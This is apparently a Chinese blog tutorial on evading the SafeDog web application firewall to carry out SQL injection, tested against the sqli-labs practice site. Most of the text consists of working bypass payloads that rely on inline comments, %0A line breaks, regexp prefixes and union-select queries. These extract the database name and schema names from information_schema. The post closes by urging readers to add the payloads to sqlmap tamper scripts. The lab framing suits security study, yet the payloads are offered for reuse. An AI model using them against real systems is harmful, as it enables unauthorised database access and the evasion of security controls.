一、环境搭建

下载最新版的安全狗

安装后配置好环境(将防护等级修改为高级)

注:此次使用的为sqli-lab靶场,懒得自己写环境了。

 

二、尝试绕过

使用普通的注入语句尝试,被拦截,此时不要慌,想绕狗呢,就必须知道那个关键字被识别了,想办法使用相同的参数去代替。

语句很短,盲猜是 and 被识别了,删掉之后页面正常。

先来看这句注入 ?id=1' and 1=1--+ 可以理解为 and 前后的条件达成一致不会报错,所以这里的 and 可以替换为 or 、 xor 、&& 、|| 等等,1=1 、1=2 这种判断条件可以改为 false、true等等,思路捋清晰,开始测试。

测试结果 ?id=1' || true--+ 成功绕过,说明此处的条件判断将 and 改为 ||可以绕过。

此时换个思路,尝试步修改 and 使用内联注释尝试绕过

内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/!…/中,这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别,执行。/*!50001*/ 在数据库版本大于5.00.00时中间的语句会被执行,此处的50001表示假如。

?id=1'/*!11444and*/ '1'='3'--+

?id=1'/*!11444or*/ '1'='3'--+

?id=1' and /*!500001*/=/*!500002*/--+

下面一步时猜字段,使用order by 、group by等,安全狗一直会识别 order by ,但不会识别 group by。

后边是联合查询,union select 等效替换,内联注释的添加,还可以使用特殊字符替换空格来尝试绕过(在20年12月份还写过一版,当时的 union 中间穿插 /*%!a*/ 还可以绕过)

尝试内联注释和 %0a 截断都会被拦截,应该是匹配到了内联注释直接拦截。

尝试在参数后插入其他语句后执行后,添加注释,再使用截断;这里直接使用#语句报错,将双引号给直接注释掉了,将 # 替换为 %23回显正常。

?id=1' regexp "%0A%23" /*!11144union %0A select */1,2,3--+ 

安全狗早就把 database() 加入规则中了,去年测试时使用垃圾字符和内联注释可以绕过,现在也不行了。

测试将括号删一个,然后报错但是没有被拦截,可以再括号内进行操作,添加内联注释或者截断。

添加单个截断会被拦,又加了内联注释,成功绕过。

?id=-1' regexp "%0A%23"/*!50001union %0A select*/ 1,2,database(%0A /*!11144*/)--+ 

 

三、小总结

这里就可以总结一下绕过的姿势了,关键字体换姿势比较少,比较多的还是使用截断和内联注释。

判断是否存在注入时,and 、or、xor 等可以替换为 || false||trueand /*!500001*/=/*!500001*//*!11444or*/ '1'='3' 进行绕过判断;使用联合注入时现在的某狗会将整个字符连同内联注释拦截,在 union 前添加一些其他函数进行混淆:regexp "%0a%23" /*!50001union %0a select*/1,2,3 (内联注释中的数字是作为判断,是否大于5.00.01,如果当前数据库版本小于5.00.01则语句被注释掉)这里的50001有时候会被拦截,可以替换成其他的五位的数字,这里就不做测试了;数据查询中的关键字被拦截时可以尝试在括号中做插入换行、截断、内联注释等等。

注表和字段大差不差的都相似,就是需要检查那个关键字被识别,对关键字进行修改,括号包裹、内联注释、换行截断等等都可以试一试。

 regexp "%0A%23"/*!11441union %0A select*/ 1,(select %0A (schema_name %0A /*80000aaa*/) %0A from %0A /*!11444 /*REGEXP "[…%0A%23]"*/ %0A information_schema.schemata*/ limit 0),3--+ 

regexp "%0A%23"/*!11441union %0A select*/ 1,(select %0A group_concat(schema_name %0A /*11444*/) %0A from %0A /*!11444 /*REGEXP "[…%0A%23]"*/ %0A information_schema.schemata*/),3--+ 

自己找到规律之后可以尝试修改sqlmap的脚本,sqlmap本身自带绕过安全设备的脚本,自己可以添加几个来丰富自己的武器库。